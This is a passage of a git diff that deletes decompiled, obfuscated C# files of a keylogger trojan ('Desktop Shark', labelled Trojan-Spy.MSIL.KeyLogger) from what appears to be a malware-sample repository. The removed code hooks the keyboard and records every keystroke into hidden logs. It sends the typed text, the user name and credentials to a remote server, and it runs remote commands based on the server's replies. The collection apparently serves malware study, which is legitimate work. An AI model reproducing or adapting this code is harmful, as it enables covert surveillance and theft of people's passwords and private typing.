this.ᡘᙃ); - this.Controls.Add((Control) this.ᡋᙃ); - this.Controls.Add((Control) this.ᡊᙃ); - this.Controls.Add((Control) this.ᡉᙃ); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = ᙵ.ᝀ; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = ᙵ.\u175A; - this.TopMost = true; - ((ISupportInitialize) this.ᡉᙃ).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - public ឲ() - { - this.ᡆᙃ(); - this.ᡍᙃ.Interval = 50; - this.ᡍᙃ.Tick += new EventHandler(this.ᡇᙃ); - this.ᡍᙃ.Start(); - this.ᡘᙃ.Minimum = 0; - this.ᡘᙃ.Maximum = 100; - this.ᡘᙃ.Value = 0; - this.Focus(); - } - - private void ᡇᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - ++this.ᡏᙃ; - this.ᡘᙃ.Value = Convert.ToInt32(Math.Round(100.0 * (this.ᡏᙃ / this.ᡎᙃ), 0)); - if (this.ᡏᙃ != this.ᡎᙃ) - return; - this.ᡘᙃ.Value = 100; - this.ᡍᙃ.Stop(); - this.Close(); - } - catch - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.cs deleted file mode 100644 index acef1f9f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ែ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Windows.Forms; - -public class \u17C2 : UserControl -{ - private Process[] ᡉᙃ; - private IContainer ᡊᙃ; - private DataGridView ᡋᙃ; - private DataGridViewTextBoxColumn ᡘᙃ; - private DataGridViewTextBoxColumn ᡍᙃ; - private DataGridViewTextBoxColumn ᡎᙃ; - private DataGridViewTextBoxColumn ᡏᙃ; - - public \u17C2() - { - this.ᡈᙃ(); - this.ᡉᙃ = this.ᡆᙃ(); - this.ᡇᙃ(); - } - - private Process[] ᡆᙃ() => Process.GetProcesses(); - - private void ᡇᙃ() - { - if (this.ᡉᙃ.Length <= 0) - return; - foreach (Process process in this.ᡉᙃ) - { - try - { - this.ᡋᙃ.Rows.Add((object) process.Id.ToString(), (object) process.ProcessName.ToString()); - } - catch (Exception ex) - { - Console.WriteLine(ex.ToString()); - } - } - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡊᙃ != null) - this.ᡊᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡈᙃ() - { - this.ᡋᙃ = new DataGridView(); - this.ᡘᙃ = new DataGridViewTextBoxColumn(); - this.ᡍᙃ = new DataGridViewTextBoxColumn(); - this.ᡎᙃ = new DataGridViewTextBoxColumn(); - this.ᡏᙃ = new DataGridViewTextBoxColumn(); - ((ISupportInitialize) this.ᡋᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡋᙃ.AllowUserToAddRows = false; - this.ᡋᙃ.AllowUserToDeleteRows = false; - this.ᡋᙃ.AllowUserToOrderColumns = true; - this.ᡋᙃ.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; - this.ᡋᙃ.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ᡋᙃ.Columns.AddRange((DataGridViewColumn) this.ᡘᙃ, (DataGridViewColumn) this.ᡍᙃ, (DataGridViewColumn) this.ᡎᙃ, (DataGridViewColumn) this.ᡏᙃ); - this.ᡋᙃ.Dock = DockStyle.Bottom; - this.ᡋᙃ.Location = new Point(0, 36); - this.ᡋᙃ.Name = ᙵ.\u1759; - this.ᡋᙃ.ReadOnly = true; - this.ᡋᙃ.Size = new Size(629, 252); - this.ᡋᙃ.TabIndex = 1; - this.ᡘᙃ.HeaderText = ᙵ.\u175E; - this.ᡘᙃ.Name = ᙵ.ᝠ; - this.ᡘᙃ.ReadOnly = true; - this.ᡍᙃ.HeaderText = ᙵ.ᝢ; - this.ᡍᙃ.Name = ᙵ.ᝤ; - this.ᡍᙃ.ReadOnly = true; - this.ᡎᙃ.HeaderText = ᙵ.ᝦ; - this.ᡎᙃ.Name = ᙵ.ᝨ; - this.ᡎᙃ.ReadOnly = true; - this.ᡏᙃ.HeaderText = ᙵ.ᝪ; - this.ᡏᙃ.Name = ᙵ.ᝬ; - this.ᡏᙃ.ReadOnly = true; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.Controls.Add((Control) this.ᡋᙃ); - this.Name = ᙵ.ᝮ; - this.Size = new Size(629, 288); - ((ISupportInitialize) this.ᡋᙃ).EndInit(); - this.ResumeLayout(false); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.cs deleted file mode 100644 index 2e53244c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.cs +++ /dev/null @@ -1,233 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ោ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Web; -using System.Windows.Forms; - -public class \u17C4 : UserControl -{ - private អ ᡘᙃ = new អ(); - private IContainer ᡍᙃ; - private Label ᡎᙃ; - private TextBox ᡏᙃ; - private Label \u187Eᙃ; - private Button ᡑᙃ; - private Label ᡒᙃ; - private LinkLabel ᡓᙃ; - private Label ᡔᙃ; - private LinkLabel ᡕᙃ; - private PictureBox ᡖᙃ; - - public \u17C4() - { - this.ᡋᙃ(); - try - { - if (Settings.Default.ActivationCode.Equals("")) - return; - this.ᡏᙃ.Text = Settings.Default.ActivationCode; - } - catch - { - } - } - - private bool ᡆᙃ(Form ᙂ) - { - foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms) - { - if (ᙂ == openForm) - return true; - } - return false; - } - - private void ᡇᙃ(object ᙂ, LinkLabelLinkClickedEventArgs ᙄ) => Process.Start(\u17CE.\u17D2); - - private void ᡈᙃ(object ᙂ, LinkLabelLinkClickedEventArgs ᙄ) => Process.Start(ᙵ.ᝰ); - - private void ᡉᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - អ អ = new អ(); - string upper = this.ᡏᙃ.Text.ToUpper(); - string str1 = ᠨ.ᠲ(); - string str2 = អ.ឪ(អ.ឮ, string.Format(ᙵ.\u1772, (object) HttpUtility.UrlEncode(upper), (object) HttpUtility.UrlEncode(str1))); - if (str2.Equals("1")) - { - Settings.Default.ActivationCode = this.ᡏᙃ.Text; - Settings.Default.Save(); - ᙀ.ᙬ.\u177E(); - int num = (int) MessageBox.Show(ᙵ.គ); - if (upper.StartsWith(ᙵ.ង)) - ᠨ.ᠪ(); - else if (upper.StartsWith(ᙵ.ឆ)) - ᠨ.ᠮ(); - else - ᠨ.ᠪ(); - try - { - if (Directory.Exists(ᙵ.ឈ)) - { - if (!File.Exists(ᙵ.ដ + this.ᡏᙃ.Text + ᙵ.ម)) - { - FileStream fileStream = File.Create(ᙵ.ណ + this.ᡏᙃ.Text + ᙵ.\u17BE); - fileStream.Close(); - fileStream.Dispose(); - } - } - } - catch - { - } - this.ᡏᙃ.Text = ""; - } - else if (str2.Equals("0")) - { - int num1 = (int) MessageBox.Show(ᙵ.ធ); - } - else if (str2.Equals("2")) - { - int num2 = (int) MessageBox.Show(ᙵ.ប); - } - else - { - int num3 = (int) MessageBox.Show(ᙵ.ព); - } - } - catch (Exception ex) - { - this.ᡘᙃ.ឨ(ex); - } - } - - private void ᡊᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.ង, ᙵ.ក); - ᝰ.Show(); - ᝰ.Activate(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡍᙃ != null) - this.ᡍᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡋᙃ() - { - this.ᡎᙃ = new Label(); - this.ᡏᙃ = new TextBox(); - this.\u187Eᙃ = new Label(); - this.ᡒᙃ = new Label(); - this.ᡓᙃ = new LinkLabel(); - this.ᡔᙃ = new Label(); - this.ᡕᙃ = new LinkLabel(); - this.ᡖᙃ = new PictureBox(); - this.ᡑᙃ = new Button(); - ((ISupportInitialize) this.ᡖᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡎᙃ.AutoSize = true; - this.ᡎᙃ.Font = new Font(ᙵ.រ, 10f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᡎᙃ.ForeColor = Color.White; - this.ᡎᙃ.Location = new Point(701, 0); - this.ᡎᙃ.Name = ᙵ.យ; - this.ᡎᙃ.Size = new Size(121, 17); - this.ᡎᙃ.TabIndex = 13; - this.ᡎᙃ.Text = ᙵ.ឞ; - this.ᡏᙃ.Font = new Font(ᙵ.ហ, 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡏᙃ.Location = new Point(286, 66); - this.ᡏᙃ.Name = ᙵ.អ; - this.ᡏᙃ.Size = new Size(223, 26); - this.ᡏᙃ.TabIndex = 14; - this.\u187Eᙃ.AutoSize = true; - this.\u187Eᙃ.Font = new Font(ᙵ.ឤ, 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.\u187Eᙃ.ForeColor = Color.White; - this.\u187Eᙃ.Location = new Point(145, 69); - this.\u187Eᙃ.Name = ᙵ.ឦ; - this.\u187Eᙃ.Size = new Size(140, 20); - this.\u187Eᙃ.TabIndex = 15; - this.\u187Eᙃ.Text = ᙵ.ឨ; - this.ᡒᙃ.AutoSize = true; - this.ᡒᙃ.Font = new Font(ᙵ.ឪ, 10f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡒᙃ.Location = new Point(235, 126); - this.ᡒᙃ.Name = ᙵ.ឬ; - this.ᡒᙃ.Size = new Size(314, 17); - this.ᡒᙃ.TabIndex = 17; - this.ᡒᙃ.Text = ᙵ.ឮ; - this.ᡓᙃ.AutoSize = true; - this.ᡓᙃ.Font = new Font(ᙵ.ឰ, 10f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡓᙃ.LinkColor = Color.Lavender; - this.ᡓᙃ.Location = new Point(300, 143); - this.ᡓᙃ.Name = ᙵ.ឲ; - this.ᡓᙃ.Size = new Size(209, 17); - this.ᡓᙃ.TabIndex = 18; - ((Label) this.ᡓᙃ).TabStop = true; - this.ᡓᙃ.Text = ᙵ.\u17C2; - this.ᡓᙃ.LinkClicked += new LinkLabelLinkClickedEventHandler(this.ᡇᙃ); - this.ᡔᙃ.AutoSize = true; - this.ᡔᙃ.Font = new Font(ᙵ.\u17C4, 10f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡔᙃ.Location = new Point(172, 200); - this.ᡔᙃ.Name = ᙵ.\u17C6; - this.ᡔᙃ.Size = new Size(446, 17); - this.ᡔᙃ.TabIndex = 19; - this.ᡔᙃ.Text = ᙵ.\u17C8; - this.ᡕᙃ.AutoSize = true; - this.ᡕᙃ.Font = new Font(ᙵ.\u17CA, 10f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡕᙃ.LinkColor = Color.Lavender; - this.ᡕᙃ.Location = new Point(315, 217); - this.ᡕᙃ.Name = ᙵ.\u17D8; - this.ᡕᙃ.Size = new Size(162, 17); - this.ᡕᙃ.TabIndex = 20; - ((Label) this.ᡕᙃ).TabStop = true; - this.ᡕᙃ.Text = ᙵ.\u17CE; - this.ᡕᙃ.LinkClicked += new LinkLabelLinkClickedEventHandler(this.ᡈᙃ); - this.ᡖᙃ.Image = (Image) Resources.help; - this.ᡖᙃ.Location = new Point(269, 50); - this.ᡖᙃ.Name = ᙵ.\u17FE; - this.ᡖᙃ.Size = new Size(16, 16); - this.ᡖᙃ.TabIndex = 21; - this.ᡖᙃ.TabStop = false; - this.ᡖᙃ.Click += new EventHandler(this.ᡊᙃ); - this.ᡑᙃ.Font = new Font(ᙵ.\u17D2, 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡑᙃ.Image = (Image) Resources.bullet_go; - this.ᡑᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᡑᙃ.Location = new Point(515, 65); - this.ᡑᙃ.Name = ᙵ.\u17D4; - this.ᡑᙃ.Size = new Size(86, 28); - this.ᡑᙃ.TabIndex = 16; - this.ᡑᙃ.Text = ᙵ.\u17D6; - this.ᡑᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᡑᙃ.UseVisualStyleBackColor = true; - this.ᡑᙃ.Click += new EventHandler(this.ᡉᙃ); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = Color.DodgerBlue; - this.Controls.Add((Control) this.ᡖᙃ); - this.Controls.Add((Control) this.ᡕᙃ); - this.Controls.Add((Control) this.ᡔᙃ); - this.Controls.Add((Control) this.ᡓᙃ); - this.Controls.Add((Control) this.ᡒᙃ); - this.Controls.Add((Control) this.ᡑᙃ); - this.Controls.Add((Control) this.\u187Eᙃ); - this.Controls.Add((Control) this.ᡏᙃ); - this.Controls.Add((Control) this.ᡎᙃ); - this.Name = ᙵ.\u17C0; - this.Size = new Size(827, 300); - ((ISupportInitialize) this.ᡖᙃ).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.cs deleted file mode 100644 index ac2fc868..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.cs +++ /dev/null @@ -1,542 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ំ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.InteropServices; -using System.Threading; -using System.Web; -using System.Windows.Forms; - -public class \u17C6 : UserControl, IDisposable -{ - private const int ᡖᙃ = 15; - private string ᡗᙃ = "Desktop Shark v" + Settings.Default.CurrentVersion.ToString() + "\n"; - private System.Windows.Forms.Timer ᡀᙃ = new System.Windows.Forms.Timer(); - private System.Windows.Forms.Timer ᡳᙃ = new System.Windows.Forms.Timer(); - private System.Windows.Forms.Timer ᡚᙃ = new System.Windows.Forms.Timer(); - private int ᡛᙃ; - private bool ᡙᙃ; - private bool ᡝᙃ; - private string ᡞᙃ = ""; - private អ ᡟᙃ = new អ(); - private bool ᡠᙃ = true; - private string ᡡᙃ = "^"; - private string ᡢᙃ = "[lctrl]"; - private bool ᡣᙃ; - private bool ᡤᙃ; - private static \u17C6 ᡥᙃ; - private យ ᡦᙃ; - private IContainer ᡧᙃ; - private Button ᡨᙃ; - private Button ᡩᙃ; - private RichTextBox ᡪᙃ; - private Button ᡫᙃ; - private Button ᡬᙃ; - private Button ᡭᙃ; - private ComboBox ᡮᙃ; - private PictureBox ᡯᙃ; - - public static \u17C6 Instance => \u17C6.ᡥᙃ; - - public bool KeyLoggerIsRunning - { - get => this.ᡠᙃ; - set => this.ᡠᙃ = value; - } - - public \u17C6() - { - if (\u17C6.ᡥᙃ == null) - \u17C6.ᡥᙃ = this; - this.ᡕᙃ(); - this.ᡪᙃ.SelectionColor = Color.Gray; - this.ᡪᙃ.SelectedText = this.ᡗᙃ; - if (Settings.Default.AutomaticStartupKeylogger) - this.startLogger(); - if (Settings.Default.AutomaticArchivingKeylogger) - this.ᡀᙃ.Interval = 1000; - this.ᡀᙃ.Tick += new EventHandler(this.ᡈᙃ); - this.ᡳᙃ.Interval = 60000; - this.ᡳᙃ.Tick += new EventHandler(this.ᡇᙃ); - this.ᡳᙃ.Start(); - this.ᡚᙃ.Interval = 900000; - this.ᡚᙃ.Tick += new EventHandler(this.ᡆᙃ); - this.ᡚᙃ.Start(); - if (Directory.Exists(Settings.Default.ArchivingKeyloggerLocation)) - this.ᡮᙃ.Items.AddRange((object[]) Directory.GetFiles(Settings.Default.ArchivingKeyloggerLocation, "*")); - if (!Directory.Exists(Settings.Default.ArchivingKeyloggerLocation)) - return; - try - { - string[] files = Directory.GetFiles(Settings.Default.ArchivingKeyloggerLocation, "*"); - List stringList = new List(); - foreach (string path in files) - { - if (File.Exists(path)) - stringList.Add(File.GetCreationTime(path).ToString()); - } - string[] array = stringList.ToArray(); - \u180A obj = new \u180A(); - Array.Sort((Array) array, (IComparer) obj); - this.ᡮᙃ.Items.Clear(); - this.ᡮᙃ.Items.AddRange((object[]) array); - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - public void DestroyLoggerPanel() - { - if (this.KeyLoggerIsRunning) - ណ.ធ(); - this.ᡀᙃ.Stop(); - this.ᡀᙃ.Dispose(); - this.ᡳᙃ.Stop(); - this.ᡳᙃ.Dispose(); - this.ᡚᙃ.Stop(); - this.ᡚᙃ.Dispose(); - } - - private void ᡆᙃ(object ᙂ, EventArgs ᙄ) => this.\u187Eᙃ(); - - private void ᡇᙃ(object ᙂ, EventArgs ᙄ) => this.SaveRichTextToFile(); - - private void ᡈᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - ++this.ᡛᙃ; - if (this.ᡛᙃ <= 15 || this.ᡙᙃ) - return; - this.ᡙᙃ = true; - this.ᡪᙃ.SelectionColor = Color.Gray; - this.ᡪᙃ.SelectedText += this.setIdleString(DateTime.Now.ToString()); - new \u17EA().ᙔ(ᙵ.ងᙃ + DateTime.Now.ToString() + ᙵ.ឆᙃ + Environment.UserName + ᙵ.ឈᙃ + this.ᡞᙃ); - if (Settings.Default.RemoteAccess && !Settings.Default.RemoteUser.Equals("") && !Settings.Default.RemotePass.Equals("")) - { - អ អ = new អ(); - switch (អ.ឪ(អ.ឮ, ᙵ.ដᙃ + HttpUtility.UrlEncode(អ.ឤ(Settings.Default.RemoteUser)) + "," + HttpUtility.UrlEncode(អ.ឤ(Settings.Default.RemotePass)) + ᙵ.មᙃ + HttpUtility.UrlEncode(អ.ឤ(this.ᡞᙃ)) + ᙵ.ណᙃ + HttpUtility.UrlEncode(អ.ឤ(Environment.UserName)) + ᙵ.\u17BEᙃ)) - { - case "2": - if (File.Exists(Application.StartupPath + ᙵ.ធᙃ)) - { - Process.Start(Application.StartupPath + ᙵ.បᙃ, ᙵ.ពᙃ); - break; - } - break; - case "3": - if (File.Exists(Application.StartupPath + ᙵ.កᙃ)) - { - Process.Start(Application.StartupPath + ᙵ.រᙃ); - break; - } - break; - case "4": - ᙀ.ᙬ.ᝀ(); - break; - case "5": - ᙀ.ᙬ.ᙢ(); - break; - case "6": - this.ᡓᙃ(); - break; - case "7": - Settings.Default.ConsolePassword = ᙵ.យᙃ; - ᙀ.ᙬ.\u1754(""); - Settings.Default.Save(); - break; - } - } - this.ᡞᙃ = ""; - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - private void ᡉᙃ(object ᙂ, EventArgs ᙄ) - { - if (!this.ᡝᙃ) - { - if (DialogResult.Yes != MessageBox.Show(ᙵ.ឞᙃ, ᙵ.ហᙃ, MessageBoxButtons.YesNo)) - return; - this.ᡪᙃ.Clear(); - this.ᡪᙃ.SelectionColor = Color.Gray; - this.ᡪᙃ.SelectedText = this.ᡗᙃ; - } - else - this.ᡝᙃ = false; - } - - private void ᡊᙃ(object ᙂ, EventArgs ᙄ) => this.startLogger(); - - private void ᡋᙃ(object ᙂ, EventArgs ᙄ) - { - if (DialogResult.Yes != MessageBox.Show(ᙵ.អᙃ, ᙵ.ឤᙃ, MessageBoxButtons.YesNo)) - return; - this.stopLogger(); - } - - private void ᡘᙃ(object ᙂ, EventArgs ᙄ) - { - this.ᡪᙃ.SelectAll(); - this.ᡪᙃ.Copy(); - this.ᡪᙃ.DeselectAll(); - this.ᡪᙃ.SelectionStart = this.ᡪᙃ.TextLength; - this.ᡪᙃ.SelectionLength = 0; - } - - private void ᡍᙃ(object ᙂ, EventArgs ᙄ) => this.SaveTextToFile(); - - private void ᡎᙃ(object ᙂ, EventArgs ᙄ) => Process.Start(Settings.Default.ArchivingKeyloggerLocation); - - public int numberOfLogs() => this.ᡮᙃ.Items.Count; - - private bool ᡏᙃ() - { - this.ᡣᙃ = false; - this.ᡤᙃ = true; - SendKeys.SendWait(this.ᡡᙃ); - return this.ᡣᙃ; - } - - private void \u187Eᙃ() - { - if (!this.ᡠᙃ || this.ᡏᙃ()) - return; - ណ.ធ(); - Thread.Sleep(50); - this.ᡟᙃ.ឨ(new Exception(ᙵ.ឦᙃ)); - ណ.\u17BE(new ណ.ព(this.KeyReaderr)); - } - - public void KeyReaderr(IntPtr wParam, IntPtr lParam) - { - try - { - string str = \u187E.ᡒ((ᡘ) Marshal.ReadInt32(lParam)); - if (string.IsNullOrEmpty(str)) - return; - if (this.ᡤᙃ) - { - this.ᡤᙃ = false; - this.ᡣᙃ = str == this.ᡢᙃ; - } - else - { - if (ᙀ.ᙬ.IsDisposed) - { - this.ᡟᙃ.ឨ(new Exception("FormManager.mainApp has already been disposed. Unable to write keys.")); - ណ.ធ(); - this.ᡠᙃ = false; - } - ᙀ.ᙬ.ᙲ = true; - if (ᙀ.ᙬ.\u1759) - return; - if (this.ᡪᙃ.IsDisposed) - { - this.ᡟᙃ.ឨ(new Exception("richTextBox1 is already disposed. Object not set to instance of an object.")); - } - else - { - this.ᡪᙃ.Select(this.ᡪᙃ.Text.Length, 0); - if (str.Length > 1) - { - this.ᡪᙃ.SelectionColor = Color.Orange; - if (this.ᡪᙃ.Text.EndsWith(str)) - { - this.ᡪᙃ.SelectedText += "..."; - this.ᡞᙃ += "..."; - } - else if (!this.ᡪᙃ.Text.EndsWith(str + "...")) - { - this.ᡪᙃ.SelectedText += str; - this.ᡞᙃ += str; - } - } - else if (str.Length > 0) - { - this.ᡪᙃ.SelectionColor = Color.Purple; - this.ᡪᙃ.SelectedText += str; - if (this.ᡪᙃ.Text.EndsWith(Settings.Default.PassPhrase.ToString()) && Settings.Default.PassPhrase != "") - this.showLogger(); - this.ᡞᙃ += str; - } - this.ᡛᙃ = 0; - this.ᡙᙃ = false; - this.ᡪᙃ.ScrollToCaret(); - } - } - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - public string setIdleString(string txt) => "\n=======================" + txt + " (" + Environment.UserName + ") =======================\n"; - - public void startLogger() - { - this.ᡪᙃ.SelectionColor = Color.Green; - this.ᡪᙃ.SelectedText += this.setIdleString("Key Logger Started " + DateTime.Now.ToString()); - ណ.\u17BE(new ណ.ព(this.KeyReaderr)); - this.ᡩᙃ.Enabled = false; - this.ᡨᙃ.Enabled = true; - this.ᡀᙃ.Start(); - this.ᡙᙃ = true; - this.ᡠᙃ = true; - this.ᡟᙃ.ឨ(new Exception("The key logger has executed the start command.")); - this.\u187Eᙃ(); - } - - public void stopLogger() - { - this.ᡪᙃ.SelectionColor = Color.Red; - this.ᡪᙃ.SelectedText += this.setIdleString("Key Logger Stopped " + DateTime.Now.ToString()); - ណ.ធ(); - this.ᡩᙃ.Enabled = true; - this.ᡨᙃ.Enabled = false; - this.ᡀᙃ.Stop(); - this.ᡠᙃ = false; - this.ᡟᙃ.ឨ(new Exception("The key logger has executed the stop command.")); - } - - public void hideLogger() - { - try - { - ᙀ.ᙬ.ᙪ(); - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - public void showLogger() - { - try - { - if (Settings.Default.ConsolePassword != \u17E0.\u17E6("!*pa!*ss!*wo!*rd!*no!*ts!*et!*")) - { - if (this.ᡦᙃ != null && !this.ᡦᙃ.IsDisposed) - return; - this.ᡦᙃ = new យ(); - this.ᡦᙃ.Show(); - } - else - ᙀ.ᙬ.\u1756(); - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - public void SaveTextToFile() - { - try - { - new \u17EA().ᙔ(this.ᡪᙃ.Text); - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - public void SaveRichTextToFile() => new \u17EA().\u1804(this.ᡪᙃ.Rtf); - - public void LoadRichText() - { - string str = new \u17EA().\u17F2(); - if (str.Equals("")) - return; - this.ᡪᙃ.Rtf = str; - } - - private void ᡑᙃ(object ᙂ, PreviewKeyDownEventArgs ᙄ) - { - if (!ᙄ.KeyCode.ToString().Equals(ᙵ.ឨᙃ)) - return; - this.ᡝᙃ = true; - } - - private void ᡒᙃ(object 